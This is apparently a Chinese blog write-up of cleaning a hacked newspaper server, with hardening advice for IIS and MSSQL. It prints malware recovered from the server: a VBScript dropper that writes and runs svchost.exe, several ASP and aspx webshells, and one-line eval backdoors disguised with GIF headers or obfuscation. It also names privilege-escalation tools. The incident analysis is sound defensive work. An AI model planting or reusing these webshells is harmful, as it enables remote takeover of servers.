There are questions remain, We'll search for the answers together. But one thing we known for sure,the future is not set!

【原创文章】拯救深圳某报社服务器系统及扫描黑客入侵痕迹

系统防护 百蔬君 2260℃ 已收录 0评论

scanserver

上周的某一天,阳关明媚,天空万里无云,只是飘着几朵白云,苦逼的百蔬君正在教室里认真听着教授们传经解惑,听着带劲有味,正在兴头上准备向教授提问的时候,手机响了,灰溜溜的跑出去接电话。是一个深圳某报社的哥们打来的,说是朋友介绍的,求我帮忙,朋友介绍我说是安全大师,那哥们也这样叫我,叫的我都脸红了。大概情况就是服务器被黑客攻击瘫痪,已经好几天揭不开锅了,重装了系统也无法正常运行,和病毒斗争了几天还是不行。从描述一听,心想,这个攻击至少是系统级了,被提权了!重装也干不掉病毒,那么应当是魅影病毒写MBR或者犇牛病毒搞劫持啊,搞得我都有一点小紧张,服务器遇到这些蠕虫最烦了,重装系统无所谓,丢数据就比较划不来。

登陆进系统,系统已经换成了windows 2008,区区2G的内存是无法拉动windows 2008这个大牛的,内存总是处于红色报警状态,没有多余的内存怎样处理访客post的数据。

Snap3

windows 2008很多计算机管理的基本功能也是破坏的,无法正常运转。

Snap2

攘外必先安内,在国家外敌入侵的情况下这个政策是有问题有争议的,因为她没有办法关闭进来的道路,延绵几千公里的海岸线处处都是进来的机会,但是从网站安全维护角度来说,做到这一点并不难,首先关掉IIS 80端口,FTP 21端口,修改远程连接端口,然后好好关门打狗,清除掉系统病毒。第一步就是重装系统,换回windows 2003,2G的内存也就适合跑跑这个小马车了。然后用IE下载个360杀毒,尽量不运行其它盘的程序。一顿扫描下来,100多个病毒。

Snap2

看到这个路径,我想很多人第一眼就认出了pr这个关键词,提权大杀器pr.exe,号称是比巴西烤肉还要牛逼的提权工具。我们知道几年前巴西烤肉也就是Churrasco.exe风靡大江南北,他利用的是一个本地提权漏洞,可以使用net user  /add,让当时很多遇到提权困境的小黑们拿到了系统的system权限,他的一个基础是已经拥有了network service权限,通过烤肉可以获得system的权限,那么之后就可以添加系统管理员了。所以说网站配置时network service权限不能随便给的,还是不能偷懒,要自己加IIS_WPG。不过从这个也看得出aspx站的中招率是出奇的高了,为何?因为大部分iis的aspx网站都是给的network service权限,切记,勿重蹈覆辙!烤肉是github.com的开源项目,喜欢源码的可以在这里下载:https://github.com/pwnieexpress/pwn_plug_sources/blob/master/src/sqlninja/sources/Churrasco/Churrasco.cpp。而pr则是利用WMI获得ACL权限提升,具体就是利用wmiprvse.exe来进行提权获得system权限,防治的方法就是禁止wmiprvse.exe的服务Windows Management Instrumentation运行。这两个大杀器的终极目的都是为了add administrator,从而导致系统账号沦陷。

既然是在include目录发现了pr,那么检查下这个目录,

20151116131227

还有一个cmd.exe,很明显的罪证啊,在360扫描下还能活下来,哎哟,不错哦,免杀啊

接着往下看,有一个demo.html被定义为virus.vbs.runner.a,恢复过来,看看源码。

Snap1

<SCRIPT Language=VBScript><!–
DropFileName = “svchost.exe”
WriteData = “4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E001000010000省略若干代码0726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000”
Set FSO = CreateObject(“Scripting.FileSystemObject”)
DropPath = FSO.GetSpecialFolder(2) & “\” & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng(“&H” & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject(“WScript.Shell”)
WSHshell.Run DropPath, 0
//–></SCRIPT>

保存下来看了下大小,足足110kb。将data写入svchost.exe,然后用wshshell执行,这样也行,佩服啊,网马在什么时代都还是会有人用的,或许可以碰到那个1%的机会,没有太多时间去细看这个代码了。

再往下翻,看到了重点,lpk.dll,usp10.dll,

Snap3

熟悉病毒的人都知道这个劫持型的犇牛病毒,当同目录下的exe运行时会自动加载lpk.dll,这个本来是windows的一个机制,被利用了而已。在所有的exe目录放入被修改过的lpk.dll,那么系统就会被感染了。明白了这些,控制住几个寄主,快刀斩乱麻,花了一点时间,去清理病毒残留,这个要小心一点的是rar也会被这个东东感染,蠕虫真是防不胜防!

Snap1

在这里看到超级巡警暴力删除工具的驱动也被360干掉了,这个东西是我最常用的工具,sys肯定没有感染的,就是有几个系统钩子,360杀毒这个也杀,程序加一个压缩壳也杀,什么都杀,有时候不得不吐槽一下,不得已,系统只能裸奔。

 

系统非系统盘病毒残留的清理结合各种工具,基本清除干净,这时候就要着手架设网站看看了,首先架设好了他们的官网,asp语言的。看了下代码,随手来了一个顿号。

 

20151116131401

20151116131416

马上就80040e14错误了,翻了一下代码,乱糟糟一片,在首页直接连接数据库,一个专门的数据库连接文件都没有!

Snap2

明显新手的作品,还是全部自己写的,基本没有在代码层面考虑注入攻击的防护,连一个id类型的判断都没有,想想这个站应当也是万人骑了。既然系统已经清理差不多,那么就该看看马场的情况了。想起几年前自己写的倚天剑web shell杀毒软件,后面因为一系列原因没有继续写,啥时候补补代码。

祭出阿D兄弟的木马大杀器,当年我也至少提供过100个shell样本吧,全站扫描。

Snap3

从图片可以看得到几个严重的问题,程序员没有过滤,安全猿也没有堵住权限漏洞,只要有一个地方生效,结局或许就不同。

第一个问题,就像我开始说的,这个站存在很多的注入漏洞,被黑客拿到了后台密码。

第二个问题,网站后台地址太普通,是常用的后台管理地址,被黑客猜到了。

第三个问题,明显的上传文件扩展名过滤不严,不难猜出网站程序借用了良精或者南方数据的那个上传程序,post数据字符截断修改文件扩展名。如果这个上传程序没有验证权限,那么对于有没有后台也无所谓了,不管怎样,从这个命名来看,还是从后台进行了恶意文件上传。

第四个问题,就是系统权限问题,应该禁止给予upfile执行脚本的权限,禁止其他非需要写入文件目录开写入权限。如果从系统方面堵住这些问题,那么结局也不至于被提权拿系统。

从扫描结果看得出来,这个服务器从2012年就被控制了。

随手看了下那些伪装图片小马

gif87a
<%
dim objFSO
dim fdata
dim objCountFile
on error resume next
Set objFSO = Server.CreateObject(“Scripting.FileSystemObject”)
if Trim(request(“syfdpath”))<>”” then
fdata = request(“cyfddata”)
Set objCountFile=objFSO.CreateTextFile(request(“syfdpath”),True)
objCountFile.Write fdata
if err =0 then
response.write “<font color=red>save Success!</font>”
else
response.write “<font color=red>Save UnSuccess!</font>”
end if
err.clear
end if
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
Response.write “<form action=” method=post>”
Response.write “保存文件的<font color=red>绝对路径(包括文件名:如D:\web\x.asp):</font>”
Response.Write “<input type=text name=syfdpath width=32 size=50>”
Response.Write “<br>”
Response.write “本文件绝对路径”
Response.write server.mappath(Request.ServerVariables(“SCRIPT_NAME”))
Response.write “<br>”
Response.write “输入马的内容:”
Response.write “<textarea name=cyfddata cols=80 rows=10 width=32></textarea>”
Response.write “<input type=submit value=保存>”
Response.write “</form>” %>

gif,jpg这些都是试探性小马了,asa,cer就是可以执行的上传小马了,小马实在太多,大同小异,不一一看了,接着大马也来了,找了最新的一个asp大马看了下。祭出很多年前刀客写的尘封多年的屠龙刀,看了下shell脚本,还是多年前的老一套加密,好像没有什么创新。

Snap4

 

还是shisanfun的加密,总共有6处。

<%@ LANGUAGE = VBScript %><%

URL=Request.ServerVariables(“URL”)
OOOO=Request.ServerVariables(“PATH_TRANSLATED”)
ServerIP=Request.ServerVariables(“LOCAL_ADDR”)
Action=Request(“Action”)
AChar=Request(“AChar”)
If AChar=”” Then AChar=”GB2312″
RootPath=Server.MapPath(“.”)
WWWRoot=Server.MapPath(“/”)
FolderPath=Request(“FolderPath”)
serveru=Request.ServerVariables(“http_host”)
serverp=userpass
FName=Request(“FName”)
ex=Request(“ex”)
pth=Request(“pth”)
zhenz=Request(“zhenz”)
u=request.servervariables(“http_host”)&url
findbq=Request(“findbq”)
ASP_SELF=Request.ServerVariables(“PATH_INFO”)
Addpath=Server.MapPath(“\”)
Const ShowFileIco=false
Response.Buffer =true
On Error Resume Next
sub ShowErr()
If Err Then
j”<br><a href=’javascript:history.back()’><br> ” & Err.Description & “</a><br>”
Err.Clear:Response.Flush
End If
end sub
Sub j(str)
response.write(str)
End Sub
Function RePath(S)
RePath=Replace(S,”\”,”\\”)
End Function
Function RRePath(S)
RRePath=Replace(S,”\\”,”\”)
End Function
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, “╁”, “”””)
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> “╋” Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) + ShiSanNewStr
Else
ShiSanNewStr = vbCrLf + ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
省略代码若干
case”datess”:datess()
case”aspx”:aspx()
case”ScanDriveForm” : ScanDriveForm
case”ScanDrive” : ScanDrive Request(“Drive”)
case”ScFolder” : ScFolder Request(“Folder”)
Case Else MainForm()
End Select
if Action<>”Servu” then ShowErr() %>

不贴全文了,加密应用的蛮少,好像是某个黑客论坛的出品。翻了一个目录,很多上传小马,一句话后门木马,全功能大马。有一个aspx小马有点意思

<%var PAY:String=
Request[“\x63\x6D\x64\x65\x72”];eval
(PAY,”\x75\x6E\x73\x61″+
“\x66\x65”);%>

还有一个句话后门,可以学习下。

<%r+k-es+k-p+k-on+k-se.co+k-d+k-e+k-p+k-age=936:e+k-v+k-a+k-l r+k-e+k-q+k-u+k-e+k-s+k-t(“cmder”)%>

找到一点有意思的东东,

Snap6

应当在法客论坛混过的小伙子吧,这个论坛好像关闭了啊。基本都是图片伪装shell。

Snap8

猛一看上去,好像就是“gif89a”一个gif的文件头,其实一句话后门在老远的下面:<%eval(request(Chr(35)))%>,都是小智慧的结晶啊。隐者加密大马,几年前就看过了,变化不大。本质上还是ShiSanFun加密,只是特征值为“隐者”。名副其实的马场,就不一一列举了,统统清除掉。

清除掉这些系统和web级的后门之后,就开始架设几个aspx网站。原来的aspx采用的mssql 2005的服务器。安装好microsoft SQL server 2005之后,安装mssql的管理软件SQL Server Management Studio Express。对于mssql的安全网上大把教程,mssql server降权,SA的降权等等,对于网站来说,权限分配合理,各个网站权限隔离都是基本要求。在这里,我想提示几个小问题与朋友们分享。

第一个,当你的mssql的登录用户名和密码都正确,在数据库中设置也正确,但就是出现“用户 ‘***oa’ 登录失败.该用户与可信 SQL Server 连接无关联.”的错误,无论怎么调试都是这个错误。

Snap1

那么记得试试去修改mssql的登录模式。

Snap2

将服务器身份验证修改为SQL server和windows身份验证模式,并不是每一个网站都需要这种模式,但是有些网站就必须要这种模式才能正常运行。不要被某些教程误导了,SQL server身份验证模式也是很重要滴。

第二个问题,刚刚拿到aspx网站,那么需要安装.net环境,但是安装.Net Framework多少呢?1.0?2.0?3.0?3.5?还是4.0?一顿乱装还是不妥吧,可以从代码中找找痕迹。从web.config中翻翻Microsoft.Build.Framework这个参数,或许没有那么耽误功夫。

Snap3

 

第三个问题,很多朋友问我,为什么aspx网站总是运行不起来。权限是很重要的一个关口来的,他和asp,php网站最大的不同在于,aspx网站文件需要进程池用户也就是IIS-WPG用户的访问权限。切记这一点,而不是笼统的添加network service权限,留下安全隐患。其本质原因是network service也是IIS-WPG的成员,而默认的进程池安全性预定义账户就是network service,中文就是著名的最受黑客喜欢的“网络服务”!!!

 

好了,就这样把一台服务器从马场中拯救出来,也大概知道一些攻击这个网站黑客群体的信息,花了两个小时总结这个过程,分享一些有趣的事情,希望对朋友们有所助益。总结发言:清理残留,废墟建国,打下江山易,守住江山难。清理病毒是权限争夺,架设网站运营是经济建设,改革开放,期望能够抵挡注入、上传等糖衣炮弹的攻击,同时能够承受DDOS、CC流量等大炮的轰炸了。

 

转载请注明:百蔬君 » 【原创文章】拯救深圳某报社服务器系统及扫描黑客入侵痕迹

喜欢 (2)or分享 (0)
发表我的评论
取消评论

请证明您不是机器人(^v^):

表情